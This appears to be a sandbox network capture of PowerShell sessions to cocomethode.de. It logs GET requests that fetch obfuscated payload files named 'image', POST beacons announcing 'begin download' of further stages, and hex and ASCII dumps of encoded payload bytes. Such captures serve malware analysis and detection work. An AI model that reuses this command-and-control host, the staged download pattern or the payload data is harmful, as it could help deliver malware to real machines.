2024-12-11 11:14:27 UTC	1200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:27 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NBlUSTus0LmZHFfwqei1NC5WgkkcFkDBEfZ7PmXiJsZ2oP%2BIqIYTT7mj2GgFo5KX6DFJuKnOfc2rEp4wTTKsLYCiqqpqF9LnTAdayHAJFpOaYJ8i%2BWKlzZfXDdcDtX49h0s7EC6Y6QMa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30757&min_rtt=911&rtt_var=21730&sent=13184&recv=6214&lost=0&retrans=0&sent_bytes=18615579&recv_bytes=322967&delivery_rate=40807453&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d175a7e7bb1-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=47&rtt_var=16&sent=6&recv=8&lost=0&retrans=0&sent_bytes=22833&recv_bytes=1547&delivery_rate=1283980392&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=40&rtt_var=22&sent=6&recv=8&lost=0&retrans=0&sent_bytes=23030&recv_bytes=1519&delivery_rate=1169339285&cwnd=124&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:27 UTC	628	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 31 26 6d 69 6e 5f 72 74 74 3d 32 36 26 72 74 74 5f 76 61 72 3d 32 34 26 73 65 6e 74 3d 37 26 72 65 63 76 3d 39 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 33 32 32 37 26 72 65 63 76 5f 62 79 74 65 73 3d 31 34 39 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 35 31 38 35 37 36 39 32 33 26 63 77 6e 64 3d 32 34 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=26&rtt_var=24&sent=7&recv=9&lost=0&retrans=0&sent_bytes=23227&recv_bytes=1491&delivery_rate=2518576923&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=44&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49816	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:27 UTC	365	OUT	GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:28 UTC	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:28 GMT Content-Type: application/octet-stream Content-Length: 2860 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mHEhcXbYx%2FFHJTo3AjUVXbJFrLqGhr%2B5foAINPVXXeKG5UJ0cJd08QzuNKljh6j1olcaZlOkYQWSmJgP6X90hpZS47w%2FGaF7E%2FimNmH0%2FzXuWvaCn8fEQ4NuS2U4By4nhoyMo9Aj4CYv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=25588&min_rtt=1137&rtt_var=19660&sent=421&recv=615&lost=0&retrans=0&sent_bytes=58866&recv_bytes=542422&delivery_rate=15573333&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d1ce8617bca-ATL server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=627&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:28 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 38 39 26 6d 69 6e 5f 72 74 74 3d 31 31 33 39 35 36 26 72 74 74 5f 76 61 72 3d 32 34 30 39 30 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 38 34 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 62 65 62 36 61 32 30 34 32 39 31 61 36 38 61 26 74 73 3d 39 33 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113989&min_rtt=113956&rtt_var=24090&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33584&cwnd=252&unsent_bytes=0&cid=9beb6a204291a68a&ts=937&x=0"
2024-12-11 11:14:28 UTC	1229	IN	Data Raw: 25 6a 65 7b 70 6b 71 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6f 5b 60 52 46 75 6f 54 47 4f 42 58 6c 4c 7b 54 6f 6d 69 57 7b 57 74 56 47 4f 6f 60 33 4b 49 4e 56 34 54 56 44 34 74 52 54 69 32 5b 30 44 78 4e 59 57 6a 63 57 5b 34 5b 44 5b 52 65 6a 79 57 62 49 71 68 4c 6b 53 76 55 32 62 76 52 31 6d 45 50 56 65 4b 50 30 4b 7b 58 6b 4b 6a 55 6d 71 58 55 6f 71 5b 57 33 53 72 58 32 6d 43 4e 54 6d 47 50 56 38 4d 57 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 68 53 7b 6d 74 57 47 65 56 64 6c 4c 78 53 6c 34 60 56 44 30 6f 52 32 6e 76 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 43 Data Ascii: %je{pkq<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Ro[`RFuoTGOBXlL{TomiW{WtVGOo`3KINV4TVD4tRTi2[0DxNYWjcW[4[D[RejyWbIqhLkSvU2bvR1mEPVeKP0K{XkKjUmqXUoq[W3SrX2mCNTmGPV8MWIONP3mC[1mEPVuhS{mtWGeVdlLxSl4`VD0oR2nv[1qHUkCkcVy0VkC
2024-12-11 11:14:28 UTC	1369	IN	Data Raw: 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6a 34 72 58 6c 30 53 5b 31 6d 75 52 6c 79 60 4c 6c 79 30 52 54 65 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 52 54 4f 52 4c 56 4f 75 60 33 6d 51 65 7b 43 4d 50 30 47 73 60 30 6a 78 4e 59 57 6a 53 30 5b 30 5b 44 4f 43 4e 54 6d 47 63 49 57 6a 63 55 6d 78 56 6d 4c 79 56 47 71 59 52 6d 4f 60 56 44 58 79 56 6d 69 4e 4c 44 6d 45 4c 57 5b 6b 63 56 75 6f 52 6a 69 56 64 56 47 55 50 59 53 56 56 44 34 72 54 56 30 46 64 6c 47 59 55 6d 47 5b 56 44 71 37 58 57 62 30 63 6a 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 4b 53 45 43 6f 52 6a 65 4e 65 6c 4b 74 54 6c 79 68 63 6d 47 30 56 55 48 34 65 56 53 49 57 6f 57 6a 53 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f Data Ascii: TOC[1mEPVeKSj4rXl0S[1muRly`Lly0RTeRelPxOYOhLj[sRTORLVOu`3mQe{CMP0Gs`0jxNYWjS0[0[DOCNTmGcIWjcUmxVmLyVGqYRmO`VDXyVmiNLDmELW[kcVuoRjiVdVGUPYSVVD4rTV0FdlGYUmG[VDq7XWb0cj82LDuKP1GoRTOC[1mEPVu[clvvVmWFdVOuSkWKSECoRjeNelKtTlyhcmG0VUH4eVSIWoWjSIONP3mC[1mEPVeKP1Go
2024-12-11 11:14:28 UTC	262	IN	Data Raw: 44 75 4b 50 31 47 6f 52 54 69 42 60 46 4f 75 53 6f 53 4d 50 31 4b 68 57 54 5b 4e 54 47 6d 75 62 46 79 5b 4c 30 4b 6a 52 54 4f 52 62 33 48 78 5b 44 34 6b 4c 6c 4f 6f 52 30 44 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 59 6d 42 53 46 48 78 4f 55 4b 60 56 44 6e 76 52 54 65 4a 65 6d 71 48 60 33 65 6a 53 7b 69 6f 58 7b 4f 52 64 56 47 59 4f 56 34 44 54 56 38 6f 52 54 4f 43 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 40 3c 23 28 28 3a 0b 48 6f 77 6e 6a 64 2c 44 79 71 73 64 72 72 68 6e 6f 21 29 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 65 76 77 66 75 6a 21 2a 21 25 6a 65 7b 70 6b Data Ascii: DuKP1GoRTiB`FOuSoSMP1KhWT[NTGmubFy[L0KjRTORb3Hx[D4kLlOoR0DvR1SSc3eKP1GoRYmBSFHxOUK`VDnvRTeJemqH`3ejS{ioX{ORdVGYOV4DTV8oRTOC[1qHUkCkcVy0Vk@<#((:Hownjd,Dyqsdrrhno!)ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%evwfuj!*!%je{pk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49817	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:28 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:14:28 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 62 32 33 36 33 32 33 32 66 31 30 38 61 37 64 62 30 36 66 66 36 30 37 65 61 38 63 35 30 31 33 37 61 65 63 36 32 39 37 38 34 66 33 39 66 30 33 36 64 63 64 37 39 66 38 64 31 62 37 33 61 36 65 66 65 39 37 36 36 32 37 31 36 65 31 32 34 30 65 35 65 36 66 34 30 36 35 30 63 38 62 30 31 66 63 66 37 38 38 61 64 30 62 66 31 37 34 35 36 61 63 36 32 61 61 30 37 34 61 35 34 32 63 62 66 36 64 65 31 65 30 32 32 39 65 32 66 39 66 38 64 30 37 35 65 61 34 39 32 66 64 32 37 31 62 36 65 38 64 61 35 63 38 30 35 61 30 30 32 39 36 35 36 30 36 33 34 63 61 62 32 33 36 36 63 30 37 38 31 64 38 35 36 61 30 33 32 35 36 34 61 Data Ascii: [ "\"begin download https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564a
2024-12-11 11:14:29 UTC	1201	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:29 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0kw8TrRuGGFYS5gDFZderT4496GDB4EoRbTxy5ZsaDXA5iIAxo59YwXgGdSZ9EfSZiOLz7ZnLlrSuqCzYR2kUZOcfPpZ5%2BzIi9eHuAxQrA4AnH4CCxGu7lbxtPTEutnnhefA2bLhemF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31809&min_rtt=1511&rtt_var=23014&sent=515&recv=711&lost=0&retrans=0&sent_bytes=97115&recv_bytes=598421&delivery_rate=7411167&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d2488aebfec-ATL server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=51&rtt_var=13&sent=9&recv=11&lost=0&retrans=0&sent_bytes=15174&recv_bytes=2479&delivery_rate=1283980392&cwnd=95&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114096&min_rtt=114051&rtt_var=24127&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33546&cwnd=252&unsent_bytes=0&cid=e7b23d67312dbc89&ts=582&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49818	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:29 UTC	365	OUT	GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:30 UTC	1304	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:30 GMT Content-Type: application/octet-stream Content-Length: 21726 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nCK6sj6Rv6XAL0snEZa982lWpDMzeYDJa7pI9BhZkor8nKWC8AbgRsTe%2B7JxQ%2FtXoUsZHkZvNoUK5bABgazrX6%2B4FGqglh9XgpAJBXgZLhhhHY%2B1eGH5Khd4R51wpPYuG6r9NxJ%2FI0LR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3174&min_rtt=911&rtt_var=280&sent=20802&recv=9583&lost=0&retrans=0&sent_bytes=29572265&recv_bytes=325854&delivery_rate=40231384&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d29b8ac673b-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=41&rtt_var=20&sent=4&recv=6&lost=0&retrans=0&sent_bytes=986&recv_bytes=1484&delivery_rate=1073491803&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=627&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:30 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 36 26 6d 69 6e 5f 72 74 74 3d 34 36 26 72 74 74 5f 76 61 72 3d 32 33 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 31 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 35 34 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113854&min_rtt=11
2024-12-11 11:14:30 UTC	1017	IN	Data Raw: 25 70 6d 6e 68 76 72 70 6c 67 6f 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 58 6c 30 56 4c 30 5b 49 63 49 53 60 54 31 47 31 52 54 4f 52 64 6c 53 49 53 6f 6d 6a 53 6d 4b 76 58 6d 65 57 62 44 79 72 54 6f 5b 6a 53 31 5b 7b 57 55 4b 56 60 6c 48 78 4f 56 75 6b 64 54 47 31 58 6a 69 53 5b 31 71 46 54 6f 43 68 57 30 5b 33 5b 47 69 52 57 47 71 59 55 6f 5b 68 63 57 4b 37 52 30 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 49 63 46 30 4b 50 33 69 57 56 6d 69 4e 4c 44 79 56 50 6c 69 6a 53 33 65 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 53 30 71 76 58 6a 65 56 54 57 6d Data Ascii: %pmnhvrplgo<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Xl0VL0[IcIS`T1G1RTORdlSISomjSmKvXmeWbDyrTo[jS1[{WUKV`lHxOVukdTG1XjiS[1qFToChW0[3[GiRWGqYUo[hcWK7R0OBO1SSc3eKP1GoRTOC[1mIcF0KP3iWVmiNLDyVPlijS3eoUG[B`FSI[3eJS0qvXjeVTWm
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 6d 53 7b 55 6a 4f 71 50 56 65 4b 50 31 48 34 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 4b 4a 54 30 5b 60 56 6d 47 57 62 44 53 53 60 31 34 69 52 54 4f 4a 53 33 47 59 64 46 79 4b 53 30 4b 33 56 6d 69 4f 5b 33 4b 75 4e 55 43 4b 53 30 58 31 58 57 69 4e 4c 44 6d 49 53 6c 30 6a 53 30 5b 34 52 54 4f 52 57 56 47 59 4c 56 79 68 4c 30 58 76 57 55 4b 56 60 6c 48 78 4f 56 75 6b 64 54 4b 37 56 6d 65 4e 65 6c 4b 75 54 6f 71 4c 60 54 6d 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 31 30 6f 57 56 30 56 4c 46 53 58 52 6f 57 4b 50 30 4b 75 56 57 65 35 64 6d 71 55 50 6f 43 68 63 57 4b 76 56 55 4b 46 4c 46 47 59 4f 56 34 4b 52 47 4b 77 56 6d 4f 42 63 56 47 59 64 46 79 4b 52 46 53 6e 58 32 6d 42 65 56 48 7b 54 56 65 60 63 55 6a 79 58 6c 30 53 55 6a 4f 71 50 56 65 4b 50 31 4b 34 Data Ascii: mS{UjOqPVeKP1H4SGGwUjOqPVeKP1KJT0[`VmGWbDSS`14iRTOJS3GYdFyKS0K3VmiO[3KuNUCKS0X1XWiNLDmISl0jS0[4RTORWVGYLVyhL0XvWUKV`lHxOVukdTK7VmeNelKuToqL`TmNP3bvR1mEPVeKP10oWV0VLFSXRoWKP0KuVWe5dmqUPoChcWKvVUKFLFGYOV4KRGKwVmOBcVGYdFyKRFSnX2mBeVH{TVe`cUjyXl0SUjOqPVeKP1K4
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 47 6b 63 6a 71 72 58 6c 34 52 57 30 71 58 52 6f 71 69 57 7b 6d 30 56 44 5b 42 65 6c 4b 49 63 46 71 69 57 30 5b 37 56 44 5b 4e 4f 56 4c 7b 54 6c 79 68 54 33 75 30 54 55 48 34 65 56 4c 78 57 6f 57 6a 53 6a 4b 34 58 6b 48 79 65 33 53 47 52 6c 79 69 53 31 58 78 58 57 62 34 64 57 47 59 54 6f 53 69 57 7b 50 32 53 47 47 77 5b 31 6d 45 50 56 65 6c 54 55 43 4d 52 54 4f 43 5b 31 6d 47 63 44 71 56 63 46 79 42 54 33 75 4e 50 30 44 79 63 33 65 4a 53 33 79 37 57 6d 57 46 53 47 50 7b 50 6c 79 68 60 6f 4f 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 53 33 79 75 52 31 4f 52 62 46 4c 79 57 6a 4b 53 4c 45 6d 32 56 6d 62 31 5b 31 79 59 57 6f 69 4b 53 44 47 76 53 47 47 77 5b 31 6d 45 50 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 4a 54 30 5b 60 56 6d 47 57 62 Data Ascii: GkcjqrXl4RW0qXRoqiW{m0VD[BelKIcFqiW0[7VD[NOVL{TlyhT3u0TUH4eVLxWoWjSjK4XkHye3SGRlyiS1XxXWb4dWGYToSiW{P2SGGw[1mEPVelTUCMRTOC[1mGcDqVcFyBT3uNP0Dyc3eJS3y7WmWFSGP{Plyh`oONP3bvR1mEPVeKS3yuR1ORbFLyWjKSLEm2Vmb1[1yYWoiKSDGvSGGw[1mEPVeme{CMRTOC[1mEPVeKP1KJT0[`VmGWb
2024-12-11 11:14:30 UTC	1149	IN	Data Raw: 52 52 6d 47 56 63 46 34 53 63 56 69 42 54 6b 47 56 50 6d 65 72 53 6a 4f 69 57 54 5b 48 54 30 57 46 56 6d 57 57 53 59 65 53 57 57 4b 70 54 57 54 34 54 6d 47 54 53 6a 4b 52 53 31 34 42 57 33 30 6a 50 33 4b 57 53 6a 57 69 4c 44 5b 60 57 57 57 46 4c 30 47 57 54 6a 4b 53 57 6f 43 74 54 56 30 31 50 6d 4b 47 4c 54 4b 59 56 46 53 45 58 57 57 46 52 47 57 57 53 6c 47 60 4c 44 57 35 54 57 57 6a 53 6d 47 56 62 46 34 53 63 59 53 42 54 6b 43 72 50 6d 53 73 53 6a 4b 4f 57 54 5b 47 57 6d 57 46 55 30 47 57 52 6f 4f 53 57 56 53 60 54 57 54 34 54 6d 47 54 53 6a 4b 52 4c 54 5b 42 57 47 5b 46 50 6a 30 57 53 6a 57 59 57 54 5b 60 56 6b 43 4a 62 6d 47 57 5b 47 5b 53 57 55 47 52 54 57 53 46 50 6d 4b 47 4c 54 4b 59 57 6a 5b 42 55 54 57 46 53 57 4b 57 53 6a 34 60 4c 44 54 76 54 57 Data Ascii: RRmGVcF4ScViBTkGVPmerSjOiWT[HT0WFVmWWSYeSWWKpTWT4TmGTSjKRS14BW30jP3KWSjWiLD[`WWWFL0GWTjKSWoCtTV01PmKGLTKYVFSEXWWFRGWWSlG`LDW5TWWjSmGVbF4ScYSBTkCrPmSsSjKOWT[GWmWFU0GWRoOSWVS`TWT4TmGTSjKRLT[BWG[FPj0WSjWYWT[`VkCJbmGW[G[SWUGRTWSFPmKGLTKYWj[BUTWFSWKWSj4`LDTvTW
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 54 57 57 4e 54 6d 47 59 52 6a 4b 53 63 6d 71 42 54 6b 4b 4e 50 6d 5b 46 53 6a 4f 6d 60 31 5b 48 56 55 43 46 52 6d 47 57 52 55 53 53 57 54 34 42 54 57 5b 46 4c 30 47 74 56 6a 4b 52 64 6d 4b 42 56 6a 65 6a 50 33 4b 47 53 6a 6d 55 57 54 5b 73 54 57 57 4a 57 6d 47 57 58 7b 53 53 57 59 69 52 54 56 75 31 50 6d 4f 47 4c 54 4b 5b 63 6c 53 45 5b 47 57 46 53 46 44 76 53 6d 43 6a 4c 44 5b 51 54 57 57 46 65 6d 47 57 63 44 4b 53 57 33 53 42 54 55 43 46 50 6d 4f 57 53 6a 4b 69 4c 44 5b 48 5b 45 43 46 60 56 50 76 52 6f 57 53 57 57 57 32 54 57 5b 76 54 6d 47 74 62 44 4b 55 53 55 47 42 57 30 5b 46 50 33 4b 73 53 6a 69 56 57 54 5b 70 5b 45 43 46 63 6d 47 57 54 59 65 53 57 56 79 42 54 56 75 46 50 6d 44 78 5b 44 4b 55 4c 54 5b 42 55 6b 43 46 50 6a 30 47 53 6a 53 60 4c 44 5b Data Ascii: TWWNTmGYRjKScmqBTkKNPm[FSjOm`1[HVUCFRmGWRUSSWT4BTW[FL0GtVjKRdmKBVjejP3KGSjmUWT[sTWWJWmGWX{SSWYiRTVu1PmOGLTK[clSE[GWFSFDvSmCjLD[QTWWFemGWcDKSW3SBTUCFPmOWSjKiLD[H[ECF`VPvRoWSWWW2TW[vTmGtbDKUSUGBW0[FP3KsSjiVWT[p[ECFcmGWTYeSWVyBTVuFPmDx[DKULT[BUkCFPj0GSjS`LD[
2024-12-11 11:14:30 UTC	1369	IN	Data Raw: 6a 4b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 55 57 54 5b 42 58 55 43 46 52 47 4f 57 53 6c 6d 6a 4c 44 71 78 54 57 57 6e 62 6d 47 57 63 44 4b 53 57 46 79 42 54 55 43 46 50 6d 4f 73 53 6a 4f 6b 4c 44 5b 48 55 31 57 46 58 56 50 76 52 6a 38 53 57 56 53 56 54 57 65 4e 4c 30 47 74 62 44 4b 52 4c 47 5b 42 57 33 34 6a 50 33 4b 47 53 6a 6d 54 57 54 5b 4a 54 57 57 4b 4f 47 47 57 55 6a 4b 53 57 6a 58 7b 54 56 34 60 50 6d 4b 37 54 6a 4b 60 53 33 53 45 58 6a 57 46 52 57 4f 57 53 6c 75 53 57 54 71 56 54 57 57 6b 4f 47 47 57 64 47 4b 53 60 32 53 42 54 31 54 79 50 6d 6d 74 5b 44 4f 6a 57 54 5b 47 58 7b 43 46 53 57 57 57 53 6a 79 53 57 54 34 42 54 57 57 72 50 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 30 57 46 50 6d 6e 76 53 6a 53 53 57 54 5b 4a 54 57 57 46 63 6d 47 57 Data Ascii: jKSWVyBTWejPmDvSjKUWT[BXUCFRGOWSlmjLDqxTWWnbmGWcDKSWFyBTUCFPmOsSjOkLD[HU1WFXVPvRj8SWVSVTWeNL0GtbDKRLG[BW34jP3KGSjmTWT[JTWWKOGGWUjKSWjX{TV4`PmK7TjK`S3SEXjWFRWOWSluSWTqVTWWkOGGWdGKS`2SBT1TyPmmt[DOjWT[GX{CFSWWWSjySWT4BTWWrPmGY[DKSLD[BT0WFPmnvSjSSWT[JTWWFcmGW
